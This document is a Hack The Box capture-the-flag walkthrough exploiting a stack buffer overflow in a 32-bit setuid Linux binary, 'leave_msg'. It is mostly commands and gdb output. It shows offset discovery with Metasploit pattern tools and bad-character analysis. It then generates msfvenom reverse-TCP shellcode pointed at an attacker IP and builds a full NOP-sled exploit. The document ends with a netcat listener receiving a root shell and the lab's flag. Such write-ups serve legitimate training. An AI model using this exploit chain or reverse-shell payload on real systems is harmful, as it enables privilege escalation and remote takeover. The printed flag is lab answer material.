STACK-BASED BUFFER OVERFLOWS ON LINUX X86

Checking File Type:

```
htb-student@nixbof32skills:~$ ls
leave_msg  msg.txt
htb-student@nixbof32skills:~$ file leave_msg
leave_msg: setuid ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, inter
preter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=8694607c1cba3fb3814a144fb014da53d3f3e49e,
not stripped
htb-student@nixbof32skills:~$
```

Checking Buffer Size:

```
(gdb) run $(python -c 'print "\x55" * 2000')
Starting program: /home/htb-student/leave_msg $(python -c 'print "\x55" * 2000')
Message left for the administrator.
[Inferior 1 (process 2177) exited normally]
(gdb) run $(python -c 'print "\x55" * 2100')
Starting program: /home/htb-student/leave_msg $(python -c 'print "\x55" * 2100')

Program received signal SIGSEGV, Segmentation fault.
0×55555555 in ?? ()
(gdb)
```

Checking Offset:

```
┌──(moghees㉿kali)-[~]
└─$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2100 > pattern.txt

┌──(moghees㉿kali)-[~]
└─$ cat pattern.txt
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad
4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8A
g9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3
Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An
8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2A
r3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7
Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay
2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6B
b7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1
Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi
6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0B
m1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5
Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt
0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4B
w5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9
Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd
4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8C
g9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3
Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn
8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2C
r3Cr4Cr5Cr6Cr7Cr8Cr9
```

```
(gdb) run $(python -c 'print "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac
4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8A
f9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3
Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am
8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2A
q3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7
At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax
2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6B
a7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1
Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh
6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0B
l1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5
Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs
0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4B
v5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9
Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc
4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8C
f9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3
Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm
8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2C
q3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9"')
```

```
Program received signal SIGSEGV, Segmentation fault.
0×37714336 in ?? ()
(gdb)
```

```
┌──(moghees㉿kali)-[~]
└─$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0×37714336
[*] Exact match at offset 2060
```

```
(gdb) run $(python -c 'print "\x55" * 2060 + "\x66" * 4')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/htb-student/leave_msg $(python -c 'print "\x55" * 2060 + "\x66" * 4')

Program received signal SIGSEGV, Segmentation fault.
0×66666666 in ?? ()
(gdb)
```

Size After Overwriting

```
(gdb) info proc all
process 2259
warning: target file /proc/2259/cmdline contained unexpected null characters
cmdline = '/home/htb-student/leave_msg'
cwd = '/home/htb-student'
exe = '/home/htb-student/leave_msg'
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
        0x56555000 0x56556000     0x1000        0x0 /home/htb-student/leave_msg
        0x56556000 0x56557000     0x1000        0x0 /home/htb-student/leave_msg
        0x56557000 0x56558000     0x1000     0x1000 /home/htb-student/leave_msg
        0x56558000 0x56579000    0x21000        0x0 [heap]
        0xf7ded000 0xf7fbf000   0x1d2000        0x0 /lib32/libc-2.27.so
        0xf7fbf000 0xf7fc0000     0x1000   0x1d2000 /lib32/libc-2.27.so
        0xf7fc0000 0xf7fc2000     0x2000   0x1d2000 /lib32/libc-2.27.so
        0xf7fc2000 0xf7fc3000     0x1000   0x1d4000 /lib32/libc-2.27.so
        0xf7fc3000 0xf7fc6000     0x3000        0x0
        0xf7fcf000 0xf7fd1000     0x2000        0x0
        0xf7fd1000 0xf7fd4000     0x3000        0x0 [vvar]
        0xf7fd4000 0xf7fd6000     0x2000        0x0 [vdso]
        0xf7fd6000 0xf7ffc000    0x26000        0x0 /lib32/ld-2.27.so
        0xf7ffc000 0xf7ffd000     0x1000    0x25000 /lib32/ld-2.27.so
        0xf7ffd000 0xf7ffe000     0x1000    0x26000 /lib32/ld-2.27.so
        0xfffdc000 0xffffe000    0x22000        0x0 [stack]
Name:   leave_msg
Umask:  0002
```

```
(gdb) break leavemsg
Breakpoint 1 at 0x56555691
(gdb)
```

Removing Null Bytes:

```
Starting program: /home/htb-student/leave_msg $(python -c 'print "\x55" * (2060 - 256) + "\x00\x01\x02\x
03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x
1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x
37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x
51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x
6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x
85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x
9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\x
b9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\x
d3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\x
ed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" + "\x66" * 4')
/bin/bash: warning: command substitution: ignored null byte in input
```

```
(gdb) x/2000x $esp+550
0xffffcf7a:     0x2f    0x68    0x74    0x62    0x2d    0x73    0x74    0x75
0xffffcf82:     0x64    0x65    0x6e    0x74    0x2f    0x6c    0x65    0x61
0xffffcf8a:     0x76    0x65    0x5f    0x6d    0x73    0x67    0x00    0x55
0xffffcf92:     0x55    0x55    0x55    0x55    0x55    0x55    0x55    0x55
0xffffcf9a:     0x55    0x55    0x55    0x55    0x55    0x55    0x55    0x55
```

```
0xffffd69a:     0x55    0x55    0x55    0x01    0x02    0x03    0x04    0x05
0xffffd6a2:     0x06    0x07    0x08    0x00    0x0b    0x0c    0x0d    0x0e
```

```
0xffffd6b2:     0x17    0x18    0x19    0x1a    0x1b    0x1c    0x1d    0x1e
0xffffd6ba:     0x1f    0x00    0x21    0x22    0x23    0x24    0x25    0x26
```

```
Start it from the beginning? (y or n) y
Starting program: /home/htb-student/leave_msg $(python -c 'print "\x55" * (2060 - 252) + "\x01\x02\x03\x
04\x05\x06\x07\x08\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x
21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x
3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x
55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x
6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x
89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\x
a3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\x
bd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\x
d7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\x
f1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" + "\x66" * 4')

Breakpoint 1, 0x56555691 in leavemsg ()
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x66666666 in ?? ()
(gdb)
```

Null Bytes: \x00 \x09 \x0a \x20

Generating Shellcode:

```
┌──(moghees㉿kali)-[~]
└─$ msfvenom -p linux/x86/shell_reverse_tcp lhost=10.10.14.191 lport=69 --format c --arch x86 --platform
 linux --bad-chars "\x00\x09\x0a\x20" --out shellcode
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
x86/shikata_ga_nai chosen with final size 95
Payload size: 95 bytes
Final size of c file: 425 bytes
Saved as: shellcode
```

```
┌──(moghees㉿kali)-[~]
└─$ cat shellcode
unsigned char buf[] =
"\xbd\x2d\x24\xa5\x40\xd9\xed\xd9\x74\x24\xf4\x58\x31\xc9"
"\xb1\x12\x31\x68\x12\x83\xe8\xfc\x03\x45\x2a\x47\xb5\xa4"
"\xe9\x70\xd5\x95\x4e\x2c\x70\x1b\xd8\x33\x34\x7d\x17\x33"
"\xa6\xd8\x17\x0b\x04\x5a\x1e\x0d\x6f\x32\xab\xe7\x81\x7d"
"\xc3\xf5\x9d\x81\x51\x73\x7c\x31\x3f\xd3\x2e\x62\x73\xd0"
"\x59\x65\xbe\x57\x0b\x0d\x2f\x77\xdf\xa5\xc7\xa8\x30\x57"
"\x71\x3e\xad\xc5\xd2\xc9\xd3\x59\xdf\x04\x93";
```

Finding the EIP Address:

```
Buffer = "\x55" * (2060 - 100 - 95)
NOPs = "\x90" * 100
Shellcode = "\x44" * 95
EIP = "\x66" * 4

python -c
```

```
(gdb) run $(python -c 'print "\x55" * (2060 - 100 - 150) + "\x90" * 100 + "\x44" * 150 + "\x66" * 4')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/htb-student/leave_msg $(python -c 'print "\x55" * (2060 - 100 - 150) + "\x90" *
100 + "\x44" * 150 + "\x66" * 4')

Program received signal SIGSEGV, Segmentation fault.
0×66666666 in ?? ()
(gdb)
```

Overwriting EIP:

Payload: run $(python -c 'print "\x55" * (2060 - 100 - 95) + "\x90" * 100 + "\xbd\x2d\x24\xa5\x40\xd9\xed\xd9\x74\x24\xf4\x58\x31\xc9\xb1\x12\x31\x68\x12\x83\xe8\xfc\x03\x45\x2a\x47\xb5\xa4\xe9\x70\xd5\x95\x4e\x2c\x70\x1b\xd8\x33\x34\x7d\x17\x33\xa6\xd8\x17\x0b\x04\x5a\x1e\x0d\x6f\x32\xab\xe7\x81\x7d\xc3\xf5\x9d\x81\x51\x73\x7c\x31\x3f\xd3\x2e\x62\x73\xd0\x59\x65\xbe\x57\x0b\x0d\x2f\x77\xdf\xa5\xc7\xa8\x30\x57\x71\x3e\xad\xc5\xd2\xc9\xd3\x59\xdf\x04\x93" + "\x66" * 4')

```
(gdb) run $(python -c 'print "\x55" * (2060 - 100 - 95) + "\x90" * 100 + "\xbd\x2d\x24\xa5\x40\xd9\xed\x
d9\x74\x24\xf4\x58\x31\xc9\xb1\x12\x31\x68\x12\x83\xe8\xfc\x03\x45\x2a\x47\xb5\xa4\xe9\x70\xd5\x95\x4e\x
2c\x70\x1b\xd8\x33\x34\x7d\x17\x33\xa6\xd8\x17\x0b\x04\x5a\x1e\x0d\x6f\x32\xab\xe7\x81\x7d\xc3\xf5\x9d\x
81\x51\x73\x7c\x31\x3f\xd3\x2e\x62\x73\xd0\x59\x65\xbe\x57\x0b\x0d\x2f\x77\xdf\xa5\xc7\xa8\x30\x57\x71\x
3e\xad\xc5\xd2\xc9\xd3\x59\xdf\x04\x93" + "\x66" * 4')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/htb-student/leave_msg $(python -c 'print "\x55" * (2060 - 100 - 95) + "\x90" * 1
00 + "\xbd\x2d\x24\xa5\x40\xd9\xed\xd9\x74\x24\xf4\x58\x31\xc9\xb1\x12\x31\x68\x12\x83\xe8\xfc\x03\x45\x
2a\x47\xb5\xa4\xe9\x70\xd5\x95\x4e\x2c\x70\x1b\xd8\x33\x34\x7d\x17\x33\xa6\xd8\x17\x0b\x04\x5a\x1e\x0d\x
6f\x32\xab\xe7\x81\x7d\xc3\xf5\x9d\x81\x51\x73\x7c\x31\x3f\xd3\x2e\x62\x73\xd0\x59\x65\xbe\x57\x0b\x0d\x
2f\x77\xdf\xa5\xc7\xa8\x30\x57\x71\x3e\xad\xc5\xd2\xc9\xd3\x59\xdf\x04\x93" + "\x66" * 4')

Breakpoint 1, 0×56555691 in leavemsg ()
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0×66666666 in ?? ()
(gdb)
```

Getting Reverse Shell:

Payload: $(python -c 'print "\x55" * (2060 - 100 - 95) + "\x90" * 100 + "\xbd\x2d\x24\xa5\x40\xd9\xed\xd9\x74\x24\xf4\x58\x31\xc9\xb1\x12\x31\x68\x12\x83\xe8\xfc\x03\x45\x2a\x47\xb5\xa4\xe9\x70\xd5\x95\x4e\x2c\x70\x1b\xd8\x33\x34\x7d\x17\x33\xa6\xd8\x17\x0b\x04\x5a\x1e\x0d\x6f\x32\xab\xe7\x81\x7d\xc3\xf5\x9d\x81\x51\x73\x7c\x31\x3f\xd3\x2e\x62\x73\xd0\x59\x65\xbe\x57\x0b\x0d\x2f\x77\xdf\xa5\xc7\xa8\x30\x57\x71\x3e\xad\xc5\xd2\xc9\xd3\x59\xdf\x04\x93" + "\xec\xd6\xff\xff"')

```
htb-student@nixbof32skills:~$ ./leave_msg $(python -c 'print "\x55" * (2060 - 100 - 95) + "\x90" * 100 +
 "\xbd\x2d\x24\xa5\x40\xd9\xed\xd9\x74\x24\xf4\x58\x31\xc9\xb1\x12\x31\x68\x12\x83\xe8\xfc\x03\x45\x2a\x
47\xb5\xa4\xe9\x70\xd5\x95\x4e\x2c\x70\x1b\xd8\x33\x34\x7d\x17\x33\xa6\xd8\x17\x0b\x04\x5a\x1e\x0d\x6f\x
32\xab\xe7\x81\x7d\xc3\xf5\x9d\x81\x51\x73\x7c\x31\x3f\xd3\x2e\x62\x73\xd0\x59\x65\xbe\x57\x0b\x0d\x2f\x
77\xdf\xa5\xc7\xa8\x30\x57\x71\x3e\xad\xc5\xd2\xc9\xd3\x59\xdf\x04\x93" + "\xec\xd6\xff\xff"')
```

```
┌──(moghees㉿kali)-[~]
└─$ nc -nvlp 69
listening on [any] 69 ...
connect to [10.10.14.191] from (UNKNOWN) [10.129.152.55] 50120
id
uid=0(root) gid=1001(htb-student) groups=1001(htb-student)
cat /root/flag.txt
HTB{wmcaJe4dEFZ3pbgDEpToJxFwvTEP4t}
```